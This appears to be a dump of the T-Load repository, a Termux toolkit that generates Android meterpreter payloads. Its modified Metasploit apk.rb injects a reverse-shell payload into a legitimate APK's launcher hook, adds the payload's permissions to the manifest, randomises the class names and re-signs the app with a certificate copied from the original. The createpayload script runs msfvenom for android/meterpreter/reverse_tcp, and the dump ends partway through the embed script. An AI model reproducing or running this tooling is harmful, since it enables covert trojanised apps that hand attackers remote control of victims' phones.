├── .autoupdate ├── .clr ├── .files ├── aapt ├── apk.rb ├── apktool ├── apktool.jar └── zipalign ├── .notice ├── .setup ├── .setupcheck ├── README.md ├── createpayload ├── embed ├── host ├── key ├── pfs ├── pfskey ├── redownload └── skstool /.autoupdate: -------------------------------------------------------------------------------- 1 | autoupdate () { 2 | ###################################### 3 | ## Create .skstool_data_data folder ## 4 | ###################################### 5 | if [ ! -d $HOME/.skstool_data ] 6 | then 7 | mkdir $HOME/.skstool_data 8 | fi 9 | source $HOME/T-Load/.clr 10 | clear 11 | git checkout origin/master * 12 | cd $HOME/T-Load 13 | echo -e "$rd $bwt Searching for updates. Please wait :)$rt" 14 | touch $HOME/.skstool_data/updates 15 | rm $HOME/.skstool_data/updates 16 | git fetch --dry-run 2>&1 > /dev/null| tee $HOME/.skstool_data/updates 17 | up=$HOME/.skstool_data/updates 18 | if grep -q origin/master "$up"; then 19 | clear 20 | echo -e "$bl $bwt Updates are found. Now updating$rt" 21 | sleep 1 22 | update=$(git fetch --all 23 | git reset --hard origin/master 24 | git pull) 25 | clear 26 | chmod +x * 27 | chmod +x .* 28 | chmod 600 key 29 | echo -e "$bwt $rd Update done. $bl Restarting$rt" 30 | sleep 2 31 | reload=$(readlink -f "$0") 32 | exec "$reload" 33 | else 34 | chmod +x * 35 | chmod +x .* 36 | chmod 600 key 37 | chmod 600 key 38 | echo -e "$rd $bwt No updates are found$rt" 39 | sleep 2 40 | fi 41 | } 42 | if [ "${1}" == "run" ] 43 | then 44 | autoupdate 45 | else 46 | echo "This updater will run automatically. Only run this in case of emergency" 47 | fi 48 | -------------------------------------------------------------------------------- /.clr: -------------------------------------------------------------------------------- 1 | ##Colors 2 | ul='\e[4m' 3 | bd='\e[1m' 4 | cn='\e[1;36m' 5 | wt='\e[39m' 6 | bk='\e[30m' 7 | gr='\e[1;32m' 8 | rd='\e[1;31m' 9 | yl='\e[1;33m' 10 | bl='\e[1;34m' 11 | pp='\e[1;35m' 12 | rt='\e[0m' 13 | bbl='\e[44m' 14 | bgy='\e[47m' 15 | bgr='\e[102m' 16 | bcn='\e[106m' 17 | bwt='\e[107m' 18 | ##End Colors 19 | -------------------------------------------------------------------------------- /.files/aapt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SathvikKS/T-Load/f32592efbdaf0b0239c71a40586a9271fa2bb121/.files/aapt -------------------------------------------------------------------------------- /.files/apk.rb: -------------------------------------------------------------------------------- 1 | # -*- coding: binary -*- 2 | 3 | require 'msf/core' 4 | require 'rex/text' 5 | require 'tmpdir' 6 | require 'nokogiri' 7 | require 'fileutils' 8 | require 'optparse' 9 | require 'open3' 10 | require 'date' 11 | 12 | class Msf::Payload::Apk 13 | 14 | def print_status(msg='') 15 | $stderr.puts "[*] #{msg}" 16 | end 17 | 18 | def print_error(msg='') 19 | $stderr.puts "[-] #{msg}" 20 | end 21 | 22 | alias_method :print_bad, :print_error 23 | 24 | def usage 25 | print_error "Usage: #{$0} -x [target.apk] [msfvenom options]\n" 26 | print_error "e.g. #{$0} -x messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n" 27 | end 28 | 29 | def run_cmd(cmd) 30 | begin 31 | stdin, stdout, stderr = Open3.popen3(cmd) 32 | return stdout.read + stderr.read 33 | rescue Errno::ENOENT 34 | return nil 35 | end 36 | end 37 | 38 | # Find a suitable smali point to hook 39 | def find_hook_point(amanifest) 40 | package = amanifest.xpath("//manifest").first['package'] 41 | application = amanifest.xpath('//application') 42 | application_name = application.attribute("name") 43 | if application_name 44 | application_str = application_name.to_s 45 | unless application_str == 'android.app.Application' 46 | return application_str 47 | end 48 | end 49 | activities = amanifest.xpath("//activity|//activity-alias") 50 | for activity in activities 51 | activityname = activity.attribute("targetActivity") 52 | unless activityname 53 | activityname = activity.attribute("name") 54 | end 55 | category = activity.search('category') 56 | unless category 57 | next 58 | end 59 | for cat in category 60 | categoryname = cat.attribute('name') 61 | if (categoryname.to_s == 'android.intent.category.LAUNCHER' || categoryname.to_s == 'android.intent.action.MAIN') 62 | name = activityname.to_s 63 | if name.start_with?('.') 64 | name = package + name 65 | end 66 | return name 67 | end 68 | end 69 | end 70 | end 71 | 72 | def parse_manifest(manifest_file) 73 | File.open(manifest_file, "rb"){|file| 74 | data = File.read(file) 75 | return Nokogiri::XML(data) 76 | } 77 | end 78 | 79 | def fix_manifest(tempdir, package, main_service, main_broadcast_receiver) 80 | #Load payload's manifest 81 | payload_manifest = parse_manifest("#{tempdir}/payload/AndroidManifest.xml") 82 | payload_permissions = payload_manifest.xpath("//manifest/uses-permission") 83 | 84 | #Load original apk's manifest 85 | original_manifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml") 86 | original_permissions = original_manifest.xpath("//manifest/uses-permission") 87 | 88 | old_permissions = [] 89 | add_permissions = [] 90 | 91 | original_permissions.each do |permission| 92 | name = permission.attribute("name").to_s 93 | old_permissions << name 94 | end 95 | 96 | application = original_manifest.xpath('//manifest/application') 97 | payload_permissions.each do |permission| 98 | name = permission.attribute("name").to_s 99 | unless old_permissions.include?(name) 100 | add_permissions += [permission.to_xml] 101 | end 102 | end 103 | add_permissions.shuffle! 104 | for permission_xml in add_permissions 105 | print_status("Adding #{permission_xml}") 106 | if original_permissions.empty? 107 | application.before(permission_xml) 108 | original_permissions = original_manifest.xpath("//manifest/uses-permission") 109 | else 110 | original_permissions.before(permission_xml) 111 | end 112 | end 113 | 114 | application = original_manifest.at_xpath('/manifest/application') 115 | receiver = payload_manifest.at_xpath('/manifest/application/receiver') 116 | service = payload_manifest.at_xpath('/manifest/application/service') 117 | receiver.attributes["name"].value = package + '.' + main_broadcast_receiver 118 | receiver.attributes["label"].value = main_broadcast_receiver 119 | service.attributes["name"].value = package + '.' + main_service 120 | application << receiver.to_xml 121 | application << service.to_xml 122 | 123 | File.open("#{tempdir}/original/AndroidManifest.xml", "wb") { |file| file.puts original_manifest.to_xml } 124 | end 125 | 126 | def parse_orig_cert_data(orig_apkfile) 127 | orig_cert_data = Array[] 128 | keytool_output = run_cmd(%Q{keytool -J-Duser.language=en -printcert -jarfile "#{orig_apkfile}"}) 129 | owner_line = keytool_output.match(/^Owner:.+/)[0] 130 | orig_cert_dname = owner_line.gsub(/^.*:/, '').strip 131 | orig_cert_data.push("#{orig_cert_dname}") 132 | valid_from_line = keytool_output.match(/^Valid from:.+/)[0] 133 | from_date_str = valid_from_line.gsub(/^Valid from:/, '').gsub(/until:.+/, '').strip 134 | to_date_str = valid_from_line.gsub(/^Valid from:.+until:/, '').strip 135 | from_date = DateTime.parse("#{from_date_str}") 136 | orig_cert_data.push(from_date.strftime("%Y/%m/%d %T")) 137 | to_date = DateTime.parse("#{to_date_str}") 138 | validity = (to_date - from_date).to_i 139 | orig_cert_data.push("#{validity}") 140 | return orig_cert_data 141 | end 142 | 143 | def backdoor_apk(apkfile, raw_payload) 144 | unless apkfile && File.readable?(apkfile) 145 | usage 146 | raise RuntimeError, "Invalid template: #{apkfile}" 147 | end 148 | 149 | keytool = run_cmd("keytool") 150 | unless keytool != nil 151 | raise RuntimeError, "keytool not found. If it's not in your PATH, please add it." 152 | end 153 | 154 | jarsigner = run_cmd("jarsigner") 155 | unless jarsigner != nil 156 | raise RuntimeError, "jarsigner not found. If it's not in your PATH, please add it." 157 | end 158 | 159 | zipalign = run_cmd("zipalign") 160 | unless zipalign != nil 161 | raise RuntimeError, "zipalign not found. If it's not in your PATH, please add it." 162 | end 163 | 164 | apktool = run_cmd("apktool -version") 165 | unless apktool != nil 166 | raise RuntimeError, "apktool not found. If it's not in your PATH, please add it." 167 | end 168 | 169 | apk_v = Gem::Version.new(apktool) 170 | unless apk_v >= Gem::Version.new('2.0.1') 171 | raise RuntimeError, "apktool version #{apk_v} not supported, please download at least version 2.0.1." 172 | end 173 | 174 | #Create temporary directory where work will be done 175 | tempdir = Dir.mktmpdir 176 | 177 | keystore = "#{tempdir}/signing.keystore" 178 | storepass = "android" 179 | keypass = "android" 180 | keyalias = "signing.key" 181 | orig_cert_data = parse_orig_cert_data(apkfile) 182 | orig_cert_dname = orig_cert_data[0] 183 | orig_cert_startdate = orig_cert_data[1] 184 | orig_cert_validity = orig_cert_data[2] 185 | 186 | print_status "Creating signing key and keystore..\n" 187 | run_cmd("keytool -genkey -v -keystore #{keystore} \ 188 | -alias #{keyalias} -storepass #{storepass} -keypass #{keypass} -keyalg RSA \ 189 | -keysize 2048 -startdate '#{orig_cert_startdate}' \ 190 | -validity #{orig_cert_validity} -dname '#{orig_cert_dname}'") 191 | 192 | File.open("#{tempdir}/payload.apk", "wb") {|file| file.puts raw_payload } 193 | FileUtils.cp apkfile, "#{tempdir}/original.apk" 194 | 195 | print_status "Decompiling original APK..\n" 196 | run_cmd("apktool d #{tempdir}/original.apk -o #{tempdir}/original") 197 | print_status "Decompiling payload APK..\n" 198 | run_cmd("apktool d #{tempdir}/payload.apk -o #{tempdir}/payload") 199 | 200 | amanifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml") 201 | 202 | print_status "Locating hook point..\n" 203 | hookable_class = find_hook_point(amanifest) 204 | smalifile = "#{tempdir}/original/smali*/" + hookable_class.gsub(/\./, "/") + ".smali" 205 | smalifiles = Dir.glob(smalifile) 206 | for smalifile in smalifiles 207 | if File.readable?(smalifile) 208 | hooksmali = File.read(smalifile) 209 | break 210 | end 211 | end 212 | 213 | unless hooksmali 214 | raise RuntimeError, "Unable to find hook point in #{smalifile}\n" 215 | end 216 | 217 | entrypoint = 'return-void' 218 | unless hooksmali.include? entrypoint 219 | raise RuntimeError, "Unable to find hookable function in #{smalifile}\n" 220 | end 221 | 222 | # Remove unused files 223 | FileUtils.rm "#{tempdir}/payload/smali/com/metasploit/stage/MainActivity.smali" 224 | FileUtils.rm Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/R*.smali") 225 | 226 | package = amanifest.xpath("//manifest").first['package'] 227 | package = package.downcase + ".#{Rex::Text::rand_text_alpha_lower(5)}" 228 | classes = {} 229 | classes['Payload'] = Rex::Text::rand_text_alpha_lower(5).capitalize 230 | classes['MainService'] = Rex::Text::rand_text_alpha_lower(5).capitalize 231 | classes['MainBroadcastReceiver'] = Rex::Text::rand_text_alpha_lower(5).capitalize 232 | package_slash = package.gsub(/\./, "/") 233 | print_status "Adding payload as package #{package}\n" 234 | payload_files = Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/*.smali") 235 | payload_dir = "#{tempdir}/original/smali/#{package_slash}/" 236 | FileUtils.mkdir_p payload_dir 237 | 238 | # Copy over the payload files, fixing up the smali code 239 | payload_files.each do |file_name| 240 | smali = File.read(file_name) 241 | smali_class = File.basename file_name 242 | for oldclass, newclass in classes 243 | if smali_class == "#{oldclass}.smali" 244 | smali_class = "#{newclass}.smali" 245 | end 246 | smali.gsub!(/com\/metasploit\/stage\/#{oldclass}/, package_slash + "/" + newclass) 247 | end 248 | smali.gsub!(/com\/metasploit\/stage/, package_slash) 249 | newfilename = "#{payload_dir}#{smali_class}" 250 | File.open(newfilename, "wb") {|file| file.puts smali } 251 | end 252 | 253 | payloadhook = %Q^invoke-static {}, L#{package_slash}/#{classes['MainService']};->start()V 254 | 255 | ^ + entrypoint 256 | hookedsmali = hooksmali.sub(entrypoint, payloadhook) 257 | 258 | print_status "Loading #{smalifile} and injecting payload..\n" 259 | File.open(smalifile, "wb") {|file| file.puts hookedsmali } 260 | 261 | injected_apk = "#{tempdir}/output.apk" 262 | aligned_apk = "#{tempdir}/aligned.apk" 263 | print_status "Poisoning the manifest with meterpreter permissions..\n" 264 | fix_manifest(tempdir, package, classes['MainService'], classes['MainBroadcastReceiver']) 265 | 266 | print_status "Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n" 267 | apktool_output = run_cmd("apktool --aapt $HOME/T-Load/.files/aapt b -o #{injected_apk} #{tempdir}/original") 268 | unless File.readable?(injected_apk) 269 | print_error apktool_output 270 | raise RuntimeError, "Unable to rebuild apk with apktool" 271 | end 272 | 273 | print_status "Signing #{injected_apk}\n" 274 | run_cmd("jarsigner -sigalg SHA1withRSA -digestalg SHA1 -keystore #{keystore} -storepass #{storepass} -keypass #{keypass} #{injected_apk} #{keyalias}") 275 | print_status "Aligning #{injected_apk}\n" 276 | run_cmd("zipalign 4 #{injected_apk} #{aligned_apk}") 277 | 278 | outputapk = File.read(aligned_apk) 279 | 280 | FileUtils.remove_entry tempdir 281 | outputapk 282 | end 283 | end 284 | 285 | 286 | -------------------------------------------------------------------------------- /.files/apktool: -------------------------------------------------------------------------------- 1 | #!/data/data/com.termux/files/usr/bin/bash 2 | exec java -Xmx1024m -Djava.io.tmpdir=$HOME/.skstool_data -jar $PREFIX/bin/apktool.jar -p $HOME/.skstool_data "$@" 3 | -------------------------------------------------------------------------------- /.files/apktool.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SathvikKS/T-Load/f32592efbdaf0b0239c71a40586a9271fa2bb121/.files/apktool.jar -------------------------------------------------------------------------------- /.files/zipalign: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SathvikKS/T-Load/f32592efbdaf0b0239c71a40586a9271fa2bb121/.files/zipalign -------------------------------------------------------------------------------- /.notice: -------------------------------------------------------------------------------- 1 | notice () { 2 | clear 3 | echo "1)Port Forward Service is back as on 24-04-2019. However your old codes and port will not work. Please get a new one at https://services.sathvikks.com/pfs/ Thank You" 4 | echo "" 5 | echo "Press enter to continue" 6 | read garbage 7 | clear 8 | skstool 9 | } 10 | -------------------------------------------------------------------------------- /.setup: -------------------------------------------------------------------------------- 1 | setup () { 2 | source $HOME/T-Load/.clr 3 | 4 | ################### 5 | ## Modify apk.rb ## 6 | ################### 7 | 8 | ## Backup default apk.rb and copy custom apk.rb 9 | if [ -f $HOME/metasploit-framework/lib/msf/core/payload/apk.rb ] 10 | then 11 | mv $HOME/metasploit-framework/lib/msf/core/payload/apk.rb $HOME/metasploit-framework/lib/msf/core/payload/apk.rb.default.back 12 | cp $HOME/T-Load/.files/apk.rb $HOME/metasploit-framework/lib/msf/core/payload/apk.rb 13 | fi 14 | if [ -f $PREFIX/opt/metasploit-framework/lib/msf/core/payload/apk.rb ] 15 | then 16 | mv $PREFIX/opt/metasploit-framework/lib/msf/core/payload/apk.rb $PREFIX/opt/metasploit-framework/lib/msf/core/payload/apk.rb.default.back 17 | cp $HOME/T-Load/.files/apk.rb $PREFIX/opt/metasploit-framework/lib/msf/core/payload/apk.rb 18 | fi 19 | 20 | ########################### 21 | ## Remove existing tload ## 22 | ########################### 23 | if [ -f $PREFIX/bin/tload ] 24 | then 25 | rm $PREFIX/bin/tload 26 | fi 27 | 28 | ############################### 29 | ## Remove tload from T-Load ## 30 | ############################### 31 | if [ -f $HOME/tload ] 32 | then 33 | echo -e "$rd You cannot launch T-Load by typing tload" 34 | echo -e "$rd The new shortcut for quick launch is skstool" 35 | echo -e "$rd I repeat type skstool to open T-Load $rt" 36 | echo "" 37 | echo "Press enter to continue" 38 | read garbage 39 | rm $HOME/tload 40 | fi 41 | 42 | ################################### 43 | ## Remove .msf_default directory ## 44 | ################################### 45 | if [ -d $HOME/.msf_default ] 46 | then 47 | rm $HOME/.msf_default -r 48 | fi 49 | 50 | echo -e "$bwt $bl Checking for dependecies $rt" 51 | 52 | ################## 53 | ## Install Java ## 54 | ################## 55 | 56 | if [ -f $PREFIX/bin/java ] 57 | then 58 | echo -e "\e[1;32m Java is installed \e[0m" 59 | else 60 | echo "Installing java" 61 | echo "" 62 | echo "Take a screenshot if you find any error" 63 | echo "" 64 | echo "Press enter to continue" 65 | read garbage 66 | case `dpkg --print-architecture` in 67 | aarch64) 68 | archname="aarch64" ;; 69 | arm64) 70 | archname="aarch64" ;; 71 | armhf) 72 | archname="arm" ;; 73 | armv7l) 74 | archname="arm" ;; 75 | arm) 76 | archname="arm" ;; 77 | *) 78 | echo -e "\e[91mERROR: Unknown architecture."; echo; echo "Unable to install java. Embeding payload offline will not work"; sleep 5; exit ;; 79 | esac 80 | echo -e "\e[32m[*] \e[34mDownloading JDK-8 (~70Mb) for ${archname}..." 81 | wget https://github.com/Hax4us/java/releases/download/v8/jdk8_${archname}.tar.gz 82 | echo -e "\e[32m[*] \e[34mMoving JDK to system..." 83 | mv jdk8_${archname}.tar.gz $PREFIX/share 84 | echo -e "\e[32m[*] \e[34mExtracting JDK..." 85 | cd $PREFIX/share 86 | tar -xhf jdk8_${archname}.tar.gz 87 | echo -e "\e[32m[*] \e[34mMoving Java wrapper scripts to bin..." 88 | mv bin/* $PREFIX/bin 89 | echo -e "\e[32m[*] \e[34mCleaning up temporary files..." 90 | rm -rf $PREFIX/share/jdk8_${archname}.tar.gz 91 | rm -rf $PREFIX/share/bin 92 | echo 93 | echo -e "\e[32mJava was successfully installed!\e[39m" 94 | sleep 3 95 | echo 96 | fi 97 | 98 | ##################### 99 | ## Apktool Install ## 100 | ##################### 101 | if [ ! -f $PREFIX/bin/apktool ] 102 | then 103 | echo "" 104 | echo "Installing apktool" 105 | echo "" 106 | echo "Take a screenshot if you find any error" 107 | echo "" 108 | echo "Press enter to continue" 109 | read garbage 110 | ln -s $HOME/T-Load/.files/apktool $PREFIX/bin/apktool 111 | chmod +x $PREFIX/bin/apktool 112 | echo -e "\e[32mApktool was successfully installed!\e[39m" 113 | sleep 5 114 | else 115 | echo -e "\e[1;32m Apktool is installed \e[0m" 116 | fi 117 | 118 | ###################### 119 | ## Apktool.jar copy ## 120 | ###################### 121 | if [ ! -f $PREFIX/bin/apktool.jar ] 122 | then 123 | echo "Copying apktool.jar" 124 | echo "" 125 | echo "Take a screenshot if you find any error" 126 | echo "" 127 | echo "Press enter to continue" 128 | read garbage 129 | ln -s $HOME/T-Load/.files/apktool.jar $PREFIX/bin/apktool.jar 130 | chmod +x $PREFIX/bin/apktool.jar 131 | echo -e "\e[32mApktool.jar was successfully copied!\e[39m" 132 | sleep 5 133 | else 134 | echo -e "\e[1;32m Apktool.jar is present \e[0m" 135 | fi 136 | 137 | ################## 138 | ## Aapt Install ## 139 | ################## 140 | if [ ! -f $PREFIX/bin/aapt ] 141 | then 142 | echo "" 143 | echo "Installing aapt" 144 | echo "" 145 | echo "Take a screenshot if you find any error" 146 | echo "" 147 | echo "Press enter to continue" 148 | read garbage 149 | ln -s $HOME/T-Load/.files/aapt $PREFIX/bin/aapt 150 | chmod +x $PREFIX/bin/aapt 151 | echo -e "\e[32mAaptwas successfully installed!\e[39m" 152 | sleep 5 153 | else 154 | echo -e "\e[1;32m Aapt is installed \e[0m" 155 | fi 156 | 157 | ###################### 158 | ## Install Zipalign ## 159 | ###################### 160 | 161 | if [ ! -f $PREFIX/bin/zipalign ] 162 | then 163 | echo "" 164 | echo "Installing zipalign" 165 | echo "" 166 | echo "Take a screenshot if you find any error" 167 | echo "" 168 | echo "Press enter to continue" 169 | read garbage 170 | ln -s $HOME/T-Load/.files/zipalign $PREFIX/bin/zipalign 171 | chmod +x $PREFIX/bin/zipalign 172 | echo -e "\e[32mZipalign was successfully installed!\e[39m" 173 | sleep 5 174 | clear 175 | else 176 | echo -e "\e[1;32m Zipalign is installed \e[0m" 177 | fi 178 | 179 | ######################## 180 | ## Check for packages ## 181 | ######################## 182 | OS=$(./.setupcheck openssh) 183 | SP=$(./.setupcheck sshpass) 184 | CU=$(./.setupcheck curl) 185 | RS=$(./.setupcheck rsync) 186 | EX=$(./.setupcheck expect) 187 | NA=$(./.setupcheck nano) 188 | no=$(ls $HOME/.skstool_data | wc -l) 189 | if [ "$OS" == "0" ] || [ "$SP" == "0" ] || [ "$CU" == "0" ] || [ "$RS" == "0" ] || [ "$EX" == "0" ] || [ "$NA" == "0" ] || [ ! -d $HOME/.skstool_data ] 190 | then 191 | clear 192 | echo -e "\e[47m \e[1;34m Welcome to T-Load. This must be your first use or the required files must have been deleted. So please wait untill all the required files have been setup.\e[0m" 193 | echo "" 194 | echo "Press enter to continue" 195 | read garbage 196 | fi 197 | 198 | ###################################### 199 | ## Create .skstool_data_data folder ## 200 | ###################################### 201 | if [ ! -d $HOME/.skstool_data ] 202 | then 203 | mkdir $HOME/.skstool_data 204 | fi 205 | 206 | ###################### 207 | ## Install Packages ## 208 | ###################### 209 | if [ "$OS" == "1" ] 210 | then 211 | echo -e "\e[1;32m Openssh is installed \e[0m" 212 | sleep 1 213 | else 214 | echo "Installing openssh" 215 | sleep 2 216 | pkg install openssh -y 217 | fi 218 | if [ "$SP" == "1" ] 219 | then 220 | echo -e "\e[1;32m Sshpass is installed \e[0m" 221 | sleep 1 222 | else 223 | echo "Installing sshpass" 224 | sleep 2 225 | pkg install sshpass -y 226 | fi 227 | if [ "$CU" == "1" ] 228 | then 229 | echo -e "\e[1;32m Curl is installed \e[0m" 230 | sleep 1 231 | else 232 | echo "Installing Curl" 233 | sleep 2 234 | pkg install curl 235 | fi 236 | if [ "$RS" == "1" ] 237 | then 238 | echo -e "\e[1;32m Rsync is installed \e[0m" 239 | sleep 1 240 | else 241 | echo "Installing Rsync" 242 | sleep 2 243 | pkg install rsync -y 244 | fi 245 | if [ "$EX" == "1" ] 246 | then 247 | echo -e "\e[1;32m Expect is installed \e[0m" 248 | sleep 1 249 | else 250 | echo "Installing Expect" 251 | sleep 2 252 | apt-get install expect -y 253 | fi 254 | if [ "$NA" == "1" ] 255 | then 256 | echo -e "\e[1;32m Nano is installed \e[0m" 257 | sleep 1 258 | else 259 | echo "Installing Nano" 260 | sleep 2 261 | pkg install nano -y 262 | fi 263 | 264 | ############################ 265 | ## End of package install ## 266 | ############################ 267 | 268 | ###################################### 269 | ## Check for files in .skstool_data ## 270 | ###################################### 271 | if [ ! -f $HOME/.skstool_data/pay ] 272 | then 273 | touch $HOME/.skstool_data/pay 274 | fi 275 | if [ ! -f $HOME/.skstool_data/updates ] 276 | then 277 | touch $HOME/.skstool_data/updates 278 | fi 279 | 280 | ############################### 281 | ## Set permisions for files ## 282 | ############################### 283 | cd $HOME/T-Load/ 284 | chmod +x * 285 | chmod 600 pfskey 286 | chmod 600 key 287 | 288 | ################################# 289 | ## Symlink for executable file ## 290 | ################################# 291 | if [ -e $PREFIX/bin/skstool ] 292 | then 293 | rm $PREFIX/bin/skstool 294 | ln -s $HOME/T-Load/skstool $PREFIX/bin/skstool 295 | chmod +x $PREFIX/bin/skstool 296 | fi 297 | 298 | chmod +x $PREFIX/bin/zipalign 299 | chmod +x $PREFIX/bin/aapt 300 | chmod +x $PREFIX/bin/apktool* 301 | ###################### 302 | ## End of autosetup ## 303 | ###################### 304 | 305 | } 306 | if [ "${1}" == "run" ] 307 | then 308 | clear 309 | echo "Running setup on manual invoke" 310 | sleep 2 311 | setup 312 | elif [ "${1}" == "force" ] 313 | then 314 | clear 315 | echo -e "\e[1;31m WARNING! \e[107m Force installation is initiated." 316 | echo -e "\e[1;31m \e[107m This may be unstable" 317 | echo -e "\e[1;31m \e[107m Proceed at your own risk" 318 | echo -e "\e[1;31m \e[107m This is untested by me" 319 | echo -e "\e[1;31m \e[107m Press [enter] to continue or [ctrl + c] to exit \e[0m" 320 | read garbage 321 | echo "" 322 | echo -e "\e[1;31m Force setup is initiated \e[0m" 323 | 324 | ########################## 325 | ## Start of force setup ## 326 | ########################## 327 | 328 | ######################## 329 | ## Force Install Java ## 330 | ######################## 331 | echo "Installing java" 332 | echo "" 333 | echo "Take a screenshot if you find any error" 334 | echo "" 335 | echo "Press enter to continue" 336 | read garbage 337 | case `dpkg --print-architecture` in 338 | aarch64) 339 | archname="aarch64" ;; 340 | arm64) 341 | archname="aarch64" ;; 342 | armhf) 343 | archname="arm" ;; 344 | armv7l) 345 | archname="arm" ;; 346 | arm) 347 | archname="arm" ;; 348 | *) 349 | echo -e "\e[91mERROR: Unknown architecture."; echo; echo "Unable to install java. Embeding payload offline will not work"; sleep 5; exit ;; 350 | esac 351 | echo -e "\e[32m[*] \e[34mDownloading JDK-8 (~70Mb) for ${archname}..." 352 | wget https://github.com/Hax4us/java/releases/download/v8/jdk8_${archname}.tar.gz 353 | echo -e "\e[32m[*] \e[34mMoving JDK to system..." 354 | mv jdk8_${archname}.tar.gz $PREFIX/share 355 | echo -e "\e[32m[*] \e[34mExtracting JDK..." 356 | cd $PREFIX/share 357 | tar -xhf jdk8_${archname}.tar.gz 358 | echo -e "\e[32m[*] \e[34mMoving Java wrapper scripts to bin..." 359 | mv bin/* $PREFIX/bin 360 | echo -e "\e[32m[*] \e[34mCleaning up temporary files..." 361 | rm -rf $PREFIX/share/jdk8_${archname}.tar.gz 362 | rm -rf $PREFIX/share/bin 363 | echo 364 | echo -e "\e[32mJava was successfully installed!\e[39m" 365 | sleep 3 366 | echo 367 | 368 | ########################### 369 | ## Force install Apktool ## 370 | ########################### 371 | if [ -f $PREFIX/bin/apktool ] 372 | then 373 | rm $PREFIX/bin/apktool 374 | fi 375 | if [ -f $PREFIX/bin/apktool.jar ] 376 | then 377 | rm $PREFIX/bin/apktool.jar 378 | fi 379 | if [ -f $PREFIX/bin/aapt ] 380 | then 381 | rm $PREFIX/bin/aapt 382 | fi 383 | echo "Installing apktool" 384 | echo "" 385 | echo "Take a screenshot if you find any error" 386 | echo "" 387 | echo "Press enter to continue" 388 | read garbage 389 | clear 390 | ln -s $HOME/T-Load/.files/aapt $PREFIX/bin/aapt 391 | ln -s $HOME/T-Load/.files/apktool $PREFIX/bin/apktool 392 | ln -s $HOME/T-Load/.files/apktool.jar $PREFIX/bin/apktool.jar 393 | chmod +x $PREFIX/bin/apktool* 394 | chmod +x $PREFIX/bin/aapt 395 | echo -e "\e[32mApktool was successfully installed!\e[39m" 396 | sleep 5 397 | 398 | ############################ 399 | ## Force install zipalign ## 400 | ############################ 401 | if [ -f $PREFIX/bin/zipalign ] 402 | then 403 | rm $PREFIX/bin/zipalign 404 | fi 405 | echo "Installing zipalign" 406 | echo "" 407 | echo "Take a screenshot if you find any error" 408 | echo "" 409 | echo "Press enter to continue" 410 | read garbage 411 | clear 412 | ln -s $HOME/T-Load/.files/zipalign $PREFIX/bin/zipalign 413 | chmod +x $PREFIX/bin/zipalign 414 | echo -e "\e[32mZipalign was successfully installed!\e[39m" 415 | sleep 5 416 | 417 | ########################## 418 | ## Force resest skstool ## 419 | ########################## 420 | if [ -f $PREFIX/bin/skstool ] 421 | then 422 | rm $PREFIX/bin/skstool 423 | ln -s $HOME/T-Load/skstool $PREFIX/bin/skstool 424 | fi 425 | 426 | echo -e "\e[107m \e[1;34m Force setup was ran \e[0m" 427 | sleep 1 428 | echo "If you faced any errors, then please take a screen shot and post it in my forums along with log" 429 | echo "" 430 | echo "Press enter to exit" 431 | read garbage 432 | exit 433 | 434 | else 435 | clear 436 | echo "This setup will run automatically along with skstool" 437 | echo -e "If you need to manually run then please use \e[107m\e[1;34m setup run \e[0m command " 438 | fi 439 | -------------------------------------------------------------------------------- /.setupcheck: -------------------------------------------------------------------------------- 1 | dpkg -s $1 &> /dev/null 2 | 3 | if [ $? -eq 0 ]; then 4 | output="1" 5 | else 6 | output="0" 7 | fi 8 | echo $output 9 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # T-Load 2 | T-Load is back and better. 3 | The best part is that things are now automatic. A kind of automatic intelligence is added to the script to make it run like a breeze. 4 | Updates are all automatic unless a file has been broken, which rarely occurs unless done on a purpose. 5 | 6 | ## What is new? 7 | 8 | ### V 9 9 |
  • Adding offline support for binding payload.
  • 10 |
  • After running skstools the auto setup will run automatically, after which mafvenom -x option will be available in termux to bind payload
  • 11 |
  • tload shortcut is now changed to skstool
  • 12 | 13 | ### V 8 14 |
  • Now has a persistent port forwarding featue.
  • 15 | 16 | 17 | ## You can support me by donating money on Paytm at 18 | http://p-y.tm/QZGa-Pm 19 | ### For more details like installation please visit https://services.sathvikks.com/tload 20 | -------------------------------------------------------------------------------- /createpayload: -------------------------------------------------------------------------------- 1 | trap '' INT TSTP 2 | source $HOME/T-Load/host 3 | metapath="$HOME/metasploit-framework" 4 | clear 5 | ############# 6 | # Details 7 | ############# 8 | echo "Enter HOST" 9 | read -p ">|" host1 10 | echo "" 11 | echo "Enter PORT" 12 | read -p ">|" port1 13 | echo "" 14 | echo "Please enter the complete path with .apk extension" 15 | echo "Where you want to save the payload" 16 | read -p ">|" p2 17 | echo "" 18 | echo "Select payload generation option" 19 | echo "1. Create Payload from your device" 20 | echo "2. Create Payload from server (Avoids Errors)" 21 | read -p ">|" cp 22 | clear 23 | 24 | ########### 25 | # Local 26 | ########### 27 | if [ $cp == "1" ] 28 | then 29 | cd $metapath 30 | ./msfvenom -p android/meterpreter/reverse_tcp LHOST=$host1 LPORT=$port1 --platform android --arch dalvik R > $p2 31 | cd .. 32 | sleep 3 33 | tload 34 | ########### 35 | 36 | ########### 37 | # Server 38 | ########### 39 | elif [ $cp == "2" ] 40 | then 41 | cpname=$(basename $p2) 42 | ssh -i $HOME/T-Load/key sathvik@$host -o StrictHostKeyChecking=no -t "sudo cp.sh $host1 $port1 $cpname" 43 | rsync -r -v --progress -e "ssh -i $HOME/T-Load/key -o StrictHostKeyChecking=no" sathvik@$host:/home/sathvik/cpayload/$cpname $p2 44 | sleep 3 45 | ########### 46 | else 47 | echo "Wrong choice" 48 | sleep 2 49 | reload=$(readlink -f "$0") 50 | exec "$reload" 51 | fi 52 | tload 53 | -------------------------------------------------------------------------------- /embed: -------------------------------------------------------------------------------- 1 | source $HOME/T-Load/host 2 | if [ -f $HOME/T-Load/tload ] 3 | then 4 | echo "Embed is closed until V9 is released. Stay tuned" 5 | exit 6 | fi 7 | dir=$HOME/T-Load 8 | clear 9 | echo " Enter the path to the original apk WITH .apk extension." 10 | read -p ">|" upath 11 | echo "" 12 | echo " Enter the download path with the final name with .apk extension " 13 | read 